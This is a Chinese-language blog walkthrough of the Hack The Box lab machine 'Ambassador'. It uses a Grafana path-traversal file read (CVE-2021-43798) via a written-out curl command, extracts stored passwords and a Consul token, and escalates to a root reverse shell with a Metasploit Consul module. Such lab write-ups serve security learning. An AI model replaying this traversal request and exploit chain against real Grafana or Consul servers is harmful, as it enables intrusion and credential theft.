HTB-Ambassador


HTB-Ambassador

查看端口

截屏2022-10-14 08.39.03.png

修改hosts,80端口

截屏2022-10-14 08.41.02.png

3000端口是Grafana,可以想到有一个任意文件读取(CVE-2021-43798),初步检查存在该漏洞

截屏2022-10-14 08.50.32.png

截屏2022-10-14 08.56.49.png

读一下grafana的配置文件,默认位置/etc/grafana/grafana.ini

截屏2022-10-14 09.04.09.png

查一下默认密码

admin_password = messageInABottle685427

截屏2022-10-14 09.05.33.png

成功登录:

截屏2022-10-14 09.07.07.png

我们利用curl下载grafana的db文件:

curl --path-as-is http://ambassador.htb:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db

截屏2022-10-14 09.34.24.png

利用sqlite3读取数据库并查看data_source:

sqlite3 grafana.db
.tables
select * from data_source
2|1|1|mysql|mysql.yaml|proxy||dontStandSoCloseToMe63221!|grafana|grafana|0|||0|{}|2022-09-01 22:43:03|2022-10-13 17:09:54|0|{}|1|uKewFgM4z

实际情况可能是通过AES-256进行加密,我们可以使用这个工具进行解密,我们获取到了mysql密码dontStandSoCloseToMe63221! 并通过grafana账号可以登录

截屏2022-10-14 09.41.07.png

成功发现developer的加密密码,base64解密

YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==

截屏2022-10-14 09.43.11.png

截屏2022-10-14 09.56.10.png

anEnglishManInNewYork027468

登录developer账号获取flag:

截屏2022-10-14 09.57.51.png

我们在opt文件夹下发现了一个my-app文件夹,通过主页的信息可以猜测这个文件夹是开发者提交的地方

截屏2022-10-14 10.11.09.png

那么我们用git log查看一下是否有提交日志

截屏2022-10-14 10.12.18.png

成功发现了git日志,那我尝试git show 33a53ef9a207976d5ceceddc41a199558843bf3c看一下具体修改了什么代码:

截屏2022-10-14 10.13.36.png

提权思路:

我们看到Consul,google一下发现

截屏2022-10-14 10.54.48.png

那么我们查找一下HashiCorp Consul的漏洞

截屏2022-10-14 10.55.47.png

发现存在RCE,具体测试步骤如下:

首先我们需要将ssh转发到本地,这里我转发到本地的8500端口:

ssh developer@ambassador.htb -L 8500:localhost:8500

截屏2022-10-14 10.56.58.png

我们访问一下本地的8500端口,如果发现存在API,那么就证明存在漏洞

截屏2022-10-14 10.57.39.png

我们是用msf中的consul_service_exec模块来进行利用,设置RHOSTS为localhost,端口是转发过来的8500,ACL_TOKEN是git中获取到的:

截屏2022-10-14 10.58.50.png

发起攻击,成功反弹一个root权限的shell回来:

截屏2022-10-14 11.00.13.png

查看flag

截屏2022-10-14 11.00.40.png


文章作者: l1b3r
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 l1b3r !
  目录